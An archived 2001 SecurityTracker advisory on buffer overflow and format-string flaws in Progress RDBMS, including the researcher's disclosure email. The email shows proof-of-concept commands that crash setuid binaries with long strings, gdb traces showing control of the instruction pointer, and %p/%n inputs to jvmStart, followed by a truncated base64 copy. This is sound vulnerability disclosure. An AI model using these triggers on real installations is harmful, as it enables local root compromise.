SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Database)  >   Progress Database Vendors:   Progress Software Corporation
Progress RDBMS Database System Has Multiple Vulnerabilities That Permit Local Users to Gain Root Level Access on the Host
SecurityTracker Alert ID:  1002515
SecurityTracker URL:  http://securitytracker.com/id/1002515
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 10 2001
Impact:   Execution of arbitrary code via local system, Root access via local system, User access via local system

Version(s): 8.x and 9.x
Description:   Several vulnerabilities have been reported in the Progress RDBMS database system. Numerous buffer overflows exist as well as some format string vulnerabilities. Local users can gain root privileges.

It is reported that buffer overflow vulnerabilities exist in many components of the software. Some of those components are listed in the Source Message. A local user can call these programs with lengthy command line parameters to trigger the buffer overflow and cause arbitrary code to be execute with the privileges of the program.

Format string vulnerabilities also reportedly exist. For example, the root-initiated jvmStart module, which starts the Java Virtual Machine, contains an input validation flaw that allows a local user to cause arbitrary code to be executed on the host.

The vendor has reportedly been notified.

Impact:   A local user can cause arbitrary code to be executed with root level privileges, giving the local user root level privileges on the host.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.progress.com/v9/datasheets/rdbms.htm (Links to External Site)
Cause:   Boundary error, Input validation error
Underlying OS:  Linux (Any), UNIX (AIX), UNIX (DGUX), UNIX (HP/UX), UNIX (Open UNIX-SCO), UNIX (Solaris - SunOS), UNIX (Tru64), Windows (NT), Windows (2000)

Message History:   None.


 Source Message Contents

Subject:  Progress Database vulnerabilities


--------------AE290C98C65F582C68283768
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Some time ago I released an advisory on Progress 8.x and 9.x products 
(http://packetstormsecurity.org/0101-exploits/progress-db.txt)
the company attempted to patch and was not successful... here are some
notes
I had lying around on various security issues in their products... I was 
basically told that there were so many holes found that it would not 
be feasable to fix them until the next revision of their code version
(9.2 perhaps)?
These holes are present in most versions of progress windows and unix to
my knowledge. The attached was a letter that was forwarded to their
staff several months back... I have been sitting on it for some time...
this is maybe the 2nd or 3rd time I have told them about these issues.
As of right now I am aware of NO fixes.

-KF



[The MIME attachment stillvuln.txt has been decoded for your convenience]

strcpy() and p_stcopy() dbut_p_stcopy are BAD!#@@!#$!
you need to make use of strncpy() or invent p_stncopy    

This is straight from the unix man pages for strcpy()
NAME
       strcpy, strncpy - copy a string
 
SYNOPSIS
       #include <string.h>
 
       char *strcpy(char *dest, const char *src);

BUGS
       If the destination string  of  a  strcpy()  is  not  large
       enough  (that  is,  if the programmer was stupid/lazy, and
       failed to check the size  before  copying)  then  anything
       might  happen.   Overflowing  fixed  length  strings  is a
       favourite cracker technique.

       The  strncpy()  function  is similar, except that not more
       than n bytes of src are copied. Thus, if there is no  null
       byte among the first n bytes of src, the result wil not be
       null-terminated.

Maybe the below listing is a good place to start looking for things to clean up... IN DEPTH. These are serious security issues 
I am sure the public would not be happy to know that their database application willingly provides root would be attackers. 
I would suggest aggressively stress testing the below applications. 

[root@linux elguapo]# grep stcopy /usr/dlc/bin/*
Binary file /usr/dlc/bin/dbf matches
Binary file /usr/dlc/bin/_dbutil matches
Binary file /usr/dlc/bin/jni_util.dll matches
Binary file /usr/dlc/bin/mkschema matches
Binary file /usr/dlc/bin/_mprosrv matches
Binary file /usr/dlc/bin/_mprshut matches
Binary file /usr/dlc/bin/orarx matches
Binary file /usr/dlc/bin/_orasrv matches
Binary file /usr/dlc/bin/_proapsv matches
Binary file /usr/dlc/bin/_proapsv.old matches
Binary file /usr/dlc/bin/_probrkr matches
Binary file /usr/dlc/bin/_probuild matches
Binary file /usr/dlc/bin/prodb matches
Binary file /usr/dlc/bin/_progres matches
Binary file /usr/dlc/bin/prolib matches
Binary file /usr/dlc/bin/prolog matches
Binary file /usr/dlc/bin/_prooibk matches
Binary file /usr/dlc/bin/_prooidv matches
Binary file /usr/dlc/bin/_proutil matches
Binary file /usr/dlc/bin/_rfutil matches
Binary file /usr/dlc/bin/showcfg matches
Binary file /usr/dlc/bin/sqlcpp matches
Binary file /usr/dlc/bin/_waitfor matches

This is pre 91B08.tar.Z patch
[root@linux progress-java]# /usr/dlc/bin/_proapsv -N `perl -e 'print "A" x 27133'`B
Segmentation fault (core dumped)
[root@linux progress-java]# gdb  /usr/dlc/bin/_proapsv core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_proapsv -N
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /usr/lib/libg++.so.2.7.2...done.
Loaded symbols for /usr/lib/libg++.so.2.7.2
Reading symbols from /usr/lib/libstdc++-libc6.1-1.so.2...done.
Loaded symbols for /usr/lib/libstdc++-libc6.1-1.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /usr/lib/libstdc++.so.2.7.2...done.
Loaded symbols for /usr/lib/libstdc++.so.2.7.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x42414141 in ?? ()
(gdb)


This is in current patch level aka... 91B08.tar.Z
Note there was an attempt at stopping the overflow. I only checked a few of these... truncating a sting to 1024 bytes doesn't really do 
much if the buffer is still 11 bytes... you need to make use of strncpy() or invent p_stncopy 

[root@linux /root]#  /usr/dlc/bin/_mprosrv `perl -e 'print "A" x 3000'`
23:07:29 Input command line truncated at 1024 bytes.
23:07:29 SERVER   : Startup parameters cannot be longer than 300 characters. (5901)

[root@linux /root]# /usr/dlc/bin/_mprosrv `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'`
04:53:29 SERVER   : ** Your database name is longer than 11 characters. (448)
04:53:29 SERVER   : ** Cannot find or open file /root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, errno = 36. (43)
04:53:29 SERVER   : SYSTEM ERROR: Memory violation. (49)
04:53:29 SERVER   : ** Save file named core for analysis by Progress Software Corporation. (439)
04:53:29 SERVER   : ** The server terminated due to signal 3. (801)

[root@linux /root]# /usr/dlc/bin/_mprshut `perl -e 'print "A" x 300'`
** Your database name is longer than 11 characters. (448)
** Cannot find or open file 
/root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, 
errno = 36. (43)
SYSTEM ERROR: Illegal instruction. (47)

Note the difference in errors... 

** Save file named core for analysis by Progress Software Corporation. 
(439)
Quit (core dumped)

[root@linux /root]# /usr/dlc/bin/_mprshut `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'`
** Your database name is longer than 11 characters. (448)
** Cannot find or open file /root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA, errno
= 36. (43)
SYSTEM ERROR: Memory violation. (49)
** Save file named core for analysis by Progress Software Corporation. (439)
Quit (core dumped)

[root@linux patch]#  $DLC/bin/orarx -S `perl -e 'print "A" x 80000'`
Input command line truncated at 1024 bytes.
SYSTEM ERROR: strent request for more than 32K. (893)
** Save file named core for analysis by Progress Software Corporation.
(439)
Quit (core dumped)


[root@linux bin]# ./sqlcpp `perl -e 'print "A" x 7000'`
Segmentation fault

[root@linux bin]# gdb ./sqlcpp
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
This GDB was configured as "i386-mandrake-linux"...
(gdb) run `perl -e 'print "A" x 7000'`
Starting program: /home/elguapo/patch/bin/./sqlcpp `perl -e 'print "A" x7000'`
 
Program received signal SIGSEGV, Segmentation fault.
0x081effc0 in p_stcopy ()
(gdb) bt
#0  0x081effc0 in p_stcopy ()
#1  0x080aea60 in sqlppgdst ()
#2  0x41414141 in ?? ()
Cannot access memory at address 0x41414141   

[root@linux bin]# ./_probrkr -S `perl -e 'print "A" x 87000'`
03:14:28 Input command line truncated at 1024 bytes.
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of
 
PROGRESS stack trace as of 
... (runs forever)
Segmentation fault

[root@linux bin]# ./_sqlschema `perl -e 'print "A" x 87000'`
Password for root to access
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
Segmentation fault (core dumped)

[root@linux bin]# gdb ./_sqlschema core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0

This GDB was configured as "i386-mandrake-linux"...
Core was generated by
`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/dlc/lib/libsql.so...done.
Loaded symbols for /usr/dlc/lib/libsql.so
Reading symbols from /usr/dlc/lib/libsnw.so...done.
Loaded symbols for /usr/dlc/lib/libsnw.so
Reading symbols from /usr/dlc/lib/libgeneric.so...done.
Loaded symbols for /usr/dlc/lib/libgeneric.so
Reading symbols from /usr/dlc/lib/libenv.so...done.
Loaded symbols for /usr/dlc/lib/libenv.so
Reading symbols from /usr/dlc/lib/liberr.so...done.
Loaded symbols for /usr/dlc/lib/liberr.so
Reading symbols from /usr/dlc/lib/libos.so...done.
Loaded symbols for /usr/dlc/lib/libos.so
Reading symbols from /usr/dlc/lib/librdsm.so...done.
Loaded symbols for /usr/dlc/lib/librdsm.so
Reading symbols from /usr/dlc/lib/libdt.so...done.
Loaded symbols for /usr/dlc/lib/libdt.so
Reading symbols from /usr/dlc/lib/libpfe.so...done.
Loaded symbols for /usr/dlc/lib/libpfe.so
Reading symbols from /usr/dlc/lib/librss.so...done.
Loaded symbols for /usr/dlc/lib/librss.so
Reading symbols from /usr/dlc/lib/libstubs.so...done.
Loaded symbols for /usr/dlc/lib/libstubs.so
Reading symbols from /usr/dlc/lib/libmm.so...done.
Loaded symbols for /usr/dlc/lib/libmm.so
Reading symbols from /usr/dlc/lib/librocket.so...done.
Loaded symbols for /usr/dlc/lib/librocket.so
---Type <return> to continue, or q <return> to quit---
Reading symbols from /usr/dlc/lib/libpronls.so...done.
Loaded symbols for /usr/dlc/lib/libpronls.so
Reading symbols from /lib/libpthread.so.0...done.

warning: Unable to set global thread event mask: generic error
[New Thread 1024 (LWP 6553)]
Error while reading shared library symbols:
Cannot enable thread event reporting for Thread 1024 (LWP 6553): generic
error
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /usr/dlc/lib/libusort.so...done.
Loaded symbols for /usr/dlc/lib/libusort.so
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
#0  0x4098c984 in strcpy () from /lib/libc.so.6
(gdb) bt
#0  0x4098c984 in strcpy () from /lib/libc.so.6
#1  0x0807d778 in __DTOR_END__ ()
#2  0x40111284 in tpe_get_cur_userpw () from /usr/dlc/lib/libos.so
#3  0x41414141 in ?? ()
Error accessing memory address 0x41414141: No such process.
(gdb)


[root@linux bin]# ./_sqldump `perl -e 'print "A" x 87000'` yamom
Segmentation fault (core dumped)
...

(gdb) bt
#0  0x40937b66 in getenv () from /lib/libc.so.6
#1  0x40985bb3 in _IO_file_close_it () from /lib/libc.so.6
#2  0x4098a1f5 in mallopt () from /lib/libc.so.6
#3  0x4098616d in malloc () from /lib/libc.so.6
#4  0x409c0717 in getpwuid () from /lib/libc.so.6
#5  0x40113b21 in os_getpwname () from /usr/dlc/lib/libos.so
#6  0x40111126 in tpe_get_cur_user () from /usr/dlc/lib/libos.so
#7  0x0804dc41 in dd_getargs ()
#8  0x0804de06 in main ()
#9  0x41414141 in ?? ()
Error accessing memory address 0x41414141: No such process.



And as a side note there is one more security bug you need to investigate... format strings abuse...
I have yet to find one in a suid program but... one that is called from a suid location is just as bad... 
jvmStart already has bufferoverflow issues... on top of that its got format strings vulnerabilities. 
[root@linux elguapo]# export DLC=/
[root@linux elguapo]# export JREHOME=/
[root@linux elguapo]# /usr/dlc/bin/jvmStart %p,%p,%p,%p,%p
completed
Error parsing file to execute: (0xbffff070,0x804dd40,0x8055b08,0x804e29c,0x804f480)
Error starting JVM, error 22.

note the nice memory locations ...

we can caue core easily 
[root@linux elguapo]# /usr/dlc/bin/jvmStart %s%s%s
completed
Segmentation fault (core dumped)

and write any data we want to the stack with %n
[root@linux elguapo]# /usr/dlc/bin/jvmStart %s%n
completed
Segmentation fault (core dumped)



--------------AE290C98C65F582C68283768
Content-Type: application/octet-stream;
 name="stillvuln.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="stillvuln.txt"

c3RyY3B5KCkgYW5kIHBfc3Rjb3B5KCkgZGJ1dF9wX3N0Y29weSBhcmUgQkFEISNAQCEjJCEK
eW91IG5lZWQgdG8gbWFrZSB1c2Ugb2Ygc3RybmNweSgpIG9yIGludmVudCBwX3N0bmNvcHkg
ICAgCgpUaGlzIGlzIHN0cmFpZ2h0IGZyb20gdGhlIHVuaXggbWFuIHBhZ2VzIGZvciBzdHJj
cHkoKQpOQU1FCiAgICAgICBzdHJjcHksIHN0cm5jcHkgLSBjb3B5IGEgc3RyaW5nCiAKU1lO
T1BTSVMKICAgICAgICNpbmNsdWRlIDxzdHJpbmcuaD4KIAogICAgICAgY2hhciAqc3RyY3B5
KGNoYXIgKmRlc3QsIGNvbnN0IGNoYXIgKnNyYyk7CgpCVUdTCiAgICAgICBJZiB0aGUgZGVz
dGluYXRpb24gc3RyaW5nICBvZiAgYSAgc3RyY3B5KCkgIGlzICBub3QgIGxhcmdlCiAgICAg
ICBlbm91Z2ggICh0aGF0ICBpcywgIGlmIHRoZSBwcm9ncmFtbWVyIHdhcyBzdHVwaWQvbGF6
eSwgYW5kCiAgICAgICBmYWlsZWQgdG8gY2hlY2sgdGhlIHNpemUgIGJlZm9yZSAgY29weWlu
ZykgIHRoZW4gIGFueXRoaW5nCiAgICAgICBtaWdodCAgaGFwcGVuLiAgIE92ZXJmbG93aW5n
ICBmaXhlZCAgbGVuZ3RoICBzdHJpbmdzICBpcyBhCiAgICAgICBmYXZvdXJpdGUgY3JhY2tl
ciB0ZWNobmlxdWUuCgogICAgICAgVGhlICBzdHJuY3B5KCkgIGZ1bmN0aW9uICBpcyBzaW1p
bGFyLCBleGNlcHQgdGhhdCBub3QgbW9yZQogICAgICAgdGhhbiBuIGJ5dGVzIG9mIHNyYyBh
cmUgY29waWVkLiBUaHVzLCBpZiB0aGVyZSBpcyBubyAgbnVsbAogICAgICAgYnl0ZSBhbW9u
ZyB0aGUgZmlyc3QgbiBieXRlcyBvZiBzcmMsIHRoZSByZXN1bHQgd2lsIG5vdCBiZQogICAg
ICAgbnVsbC10ZXJtaW5hdGVkLgoKTWF5YmUgdGhlIGJlbG93IGxpc3RpbmcgaXMgYSBnb29k
IHBsYWNlIHRvIHN0YXJ0IGxvb2tpbmcgZm9yIHRoaW5ncyB0byBjbGVhbiB1cC4uLiBJTiBE
RVBUSC4gVGhlc2UgYXJlIHNlcmlvdXMgc2VjdXJpdHkgaXNzdWVzIApJIGFtIHN1cmUgdGhl
IHB1YmxpYyB3b3VsZCBub3QgYmUgaGFwcHkgdG8ga25vdyB0aGF0IHRoZWlyIGRhdGFiYXNl
IGFwcGxpY2F0aW9uIHdpbGxpbmdseSBwcm92aWRlcyByb290IHdvdWxkIGJlIGF0dGFja2Vy
cy4gCkkgd291bGQgc3VnZ2VzdCBhZ2dyZXNzaXZlbHkgc3RyZXNzIHRlc3RpbmcgdGhlIGJl
bG93IGFwcGxpY2F0aW9ucy4gCgpbcm9vdEBsaW51eCBlbGd1YXBvXSMgZ3JlcCBzdGNvcHkg
L3Vzci9kbGMvYmluLyoKQmluYXJ5IGZpbGUgL3Vzci9kbGMvYmluL2RiZiBtYXRjaGVzCkJp
bmFyeSBmaWxlIC91c3IvZGxjL2Jpbi9fZGJ1dGlsIG1hdGNoZXMKQmluYXJ5IGZpbGUgL3Vz
ci9kbGMvYmluL2puaV91dGlsLmRsbCBtYXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jp
bi9ta3NjaGVtYSBtYXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jpbi9fbXByb3NydiBt
YXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jpbi9fbXByc2h1dCBtYXRjaGVzCkJpbmFy
eSBmaWxlIC91c3IvZGxjL2Jpbi9vcmFyeCBtYXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxj
L2Jpbi9fb3Jhc3J2IG1hdGNoZXMKQmluYXJ5IGZpbGUgL3Vzci9kbGMvYmluL19wcm9hcHN2
IG1hdGNoZXMKQmluYXJ5IGZpbGUgL3Vzci9kbGMvYmluL19wcm9hcHN2Lm9sZCBtYXRjaGVz
CkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jpbi9fcHJvYnJrciBtYXRjaGVzCkJpbmFyeSBmaWxl
IC91c3IvZGxjL2Jpbi9fcHJvYnVpbGQgbWF0Y2hlcwpCaW5hcnkgZmlsZSAvdXNyL2RsYy9i
aW4vcHJvZGIgbWF0Y2hlcwpCaW5hcnkgZmlsZSAvdXNyL2RsYy9iaW4vX3Byb2dyZXMgbWF0
Y2hlcwpCaW5hcnkgZmlsZSAvdXNyL2RsYy9iaW4vcHJvbGliIG1hdGNoZXMKQmluYXJ5IGZp
bGUgL3Vzci9kbGMvYmluL3Byb2xvZyBtYXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jp
bi9fcHJvb2liayBtYXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jpbi9fcHJvb2lkdiBt
YXRjaGVzCkJpbmFyeSBmaWxlIC91c3IvZGxjL2Jpbi9fcHJvdXRpbCBtYXRjaGVzCkJpbmFy
eSBmaWxlIC91c3IvZGxjL2Jpbi9fcmZ1dGlsIG1hdGNoZXMKQmluYXJ5IGZpbGUgL3Vzci9k
bGMvYmluL3Nob3djZmcgbWF0Y2hlcwpCaW5hcnkgZmlsZSAvdXNyL2RsYy9iaW4vc3FsY3Bw
IG1hdGNoZXMKQmluYXJ5IGZpbGUgL3Vzci9kbGMvYmluL193YWl0Zm9yIG1hdGNoZXMKClRo
aXMgaXMgcHJlIDkxQjA4LnRhci5aIHBhdGNoCltyb290QGxpbnV4IHByb2dyZXNzLWphdmFd
IyAvdXNyL2RsYy9iaW4vX3Byb2Fwc3YgLU4gYHBlcmwgLWUgJ3ByaW50ICJBIiB4IDI3MTMz
J2BCClNlZ21lbnRhdGlvbiBmYXVsdCAoY29yZSBkdW1wZWQpCltyb290QGxpbnV4IHByb2dy
ZXNzLWphdmFdIyBnZGIgIC91c3IvZGxjL2Jpbi9fcHJvYXBzdiBjb3JlCkdOVSBnZGIgNS4w
bWRrLTExbWRrIExpbnV4LU1hbmRyYWtlIDguMApDb3B5cmlnaHQgMjAwMSBGcmVlIFNvZnR3
YXJlIEZvdW5kYXRpb24sIEluYy4KVGhpcyBHREIgd2FzIGNvbmZpZ3VyZWQgYXMgImkzODYt
bWFuZHJha2UtbGludXgiLi4uCkNvcmUgd2FzIGdlbmVyYXRlZCBieSBgL3Vzci9kbGMvYmlu
L19wcm9hcHN2IC1OCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQScuClByb2dyYW0gdGVybWluYXRlZCB3aXRoIHNpZ25hbCAxMSwgU2Vn
bWVudGF0aW9uIGZhdWx0LgpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvbGliL2xpYm0uc28uNi4u
LmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvbGliL2xpYm0uc28uNgpSZWFkaW5nIHN5bWJv
bHMgZnJvbSAvbGliL2xpYmRsLnNvLjIuLi5kb25lLgpMb2FkZWQgc3ltYm9scyBmb3IgL2xp
Yi9saWJkbC5zby4yClJlYWRpbmcgc3ltYm9scyBmcm9tIC91c3IvbGliL2xpYmcrKy5zby4y
LjcuMi4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvdXNyL2xpYi9saWJnKysuc28uMi43
LjIKUmVhZGluZyBzeW1ib2xzIGZyb20gL3Vzci9saWIvbGlic3RkYysrLWxpYmM2LjEtMS5z
by4yLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9yIC91c3IvbGliL2xpYnN0ZGMrKy1saWJj
Ni4xLTEuc28uMgpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvbGliL2xpYmMuc28uNi4uLmRvbmUu
CkxvYWRlZCBzeW1ib2xzIGZvciAvbGliL2xpYmMuc28uNgpSZWFkaW5nIHN5bWJvbHMgZnJv
bSAvdXNyL2xpYi9saWJzdGRjKysuc28uMi43LjIuLi5kb25lLgpMb2FkZWQgc3ltYm9scyBm
b3IgL3Vzci9saWIvbGlic3RkYysrLnNvLjIuNy4yClJlYWRpbmcgc3ltYm9scyBmcm9tIC9s
aWIvbGQtbGludXguc28uMi4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvbGliL2xkLWxp
bnV4LnNvLjIKIzAgIDB4NDI0MTQxNDEgaW4gPz8gKCkKKGdkYikKCgpUaGlzIGlzIGluIGN1
cnJlbnQgcGF0Y2ggbGV2ZWwgYWthLi4uIDkxQjA4LnRhci5aCk5vdGUgdGhlcmUgd2FzIGFu
IGF0dGVtcHQgYXQgc3RvcHBpbmcgdGhlIG92ZXJmbG93LiBJIG9ubHkgY2hlY2tlZCBhIGZl
dyBvZiB0aGVzZS4uLiB0cnVuY2F0aW5nIGEgc3RpbmcgdG8gMTAyNCBieXRlcyBkb2Vzbid0
IHJlYWxseSBkbyAKbXVjaCBpZiB0aGUgYnVmZmVyIGlzIHN0aWxsIDExIGJ5dGVzLi4uIHlv
dSBuZWVkIHRvIG1ha2UgdXNlIG9mIHN0cm5jcHkoKSBvciBpbnZlbnQgcF9zdG5jb3B5IAoK
W3Jvb3RAbGludXggL3Jvb3RdIyAgL3Vzci9kbGMvYmluL19tcHJvc3J2IGBwZXJsIC1lICdw
cmludCAiQSIgeCAzMDAwJ2AKMjM6MDc6MjkgSW5wdXQgY29tbWFuZCBsaW5lIHRydW5jYXRl
ZCBhdCAxMDI0IGJ5dGVzLgoyMzowNzoyOSBTRVJWRVIgICA6IFN0YXJ0dXAgcGFyYW1ldGVy
cyBjYW5ub3QgYmUgbG9uZ2VyIHRoYW4gMzAwIGNoYXJhY3RlcnMuICg1OTAxKQoKW3Jvb3RA
bGludXggL3Jvb3RdIyAvdXNyL2RsYy9iaW4vX21wcm9zcnYgYHBlcmwgLWUgJ3ByaW50ICJB
IiB4IDMwMCdgIC1OIGBwZXJsIC1lICdwcmludCAiQSIgeCAzMDAnYCAtTiBgcGVybCAtZSAn
cHJpbnQgIkEiIHggMzAwJ2AKMDQ6NTM6MjkgU0VSVkVSICAgOiAqKiBZb3VyIGRhdGFiYXNl
IG5hbWUgaXMgbG9uZ2VyIHRoYW4gMTEgY2hhcmFjdGVycy4gKDQ0OCkKMDQ6NTM6MjkgU0VS
VkVSICAgOiAqKiBDYW5ub3QgZmluZCBvciBvcGVuIGZpbGUgL3Jvb3QvQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBLCBlcnJubyA9IDM2LiAoNDMpCjA0OjUzOjI5IFNFUlZFUiAgIDogU1lT
VEVNIEVSUk9SOiBNZW1vcnkgdmlvbGF0aW9uLiAoNDkpCjA0OjUzOjI5IFNFUlZFUiAgIDog
KiogU2F2ZSBmaWxlIG5hbWVkIGNvcmUgZm9yIGFuYWx5c2lzIGJ5IFByb2dyZXNzIFNvZnR3
YXJlIENvcnBvcmF0aW9uLiAoNDM5KQowNDo1MzoyOSBTRVJWRVIgICA6ICoqIFRoZSBzZXJ2
ZXIgdGVybWluYXRlZCBkdWUgdG8gc2lnbmFsIDMuICg4MDEpCgpbcm9vdEBsaW51eCAvcm9v
dF0jIC91c3IvZGxjL2Jpbi9fbXByc2h1dCBgcGVybCAtZSAncHJpbnQgIkEiIHggMzAwJ2AK
KiogWW91ciBkYXRhYmFzZSBuYW1lIGlzIGxvbmdlciB0aGFuIDExIGNoYXJhY3RlcnMuICg0
NDgpCioqIENhbm5vdCBmaW5kIG9yIG9wZW4gZmlsZSAKL3Jvb3QvQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBLCAKZXJybm8gPSAzNi4gKDQzKQpTWVNURU0gRVJST1I6IElsbGVnYWwgaW5z
dHJ1Y3Rpb24uICg0NykKCk5vdGUgdGhlIGRpZmZlcmVuY2UgaW4gZXJyb3JzLi4uIAoKKiog
U2F2ZSBmaWxlIG5hbWVkIGNvcmUgZm9yIGFuYWx5c2lzIGJ5IFByb2dyZXNzIFNvZnR3YXJl
IENvcnBvcmF0aW9uLiAKKDQzOSkKUXVpdCAoY29yZSBkdW1wZWQpCgpbcm9vdEBsaW51eCAv
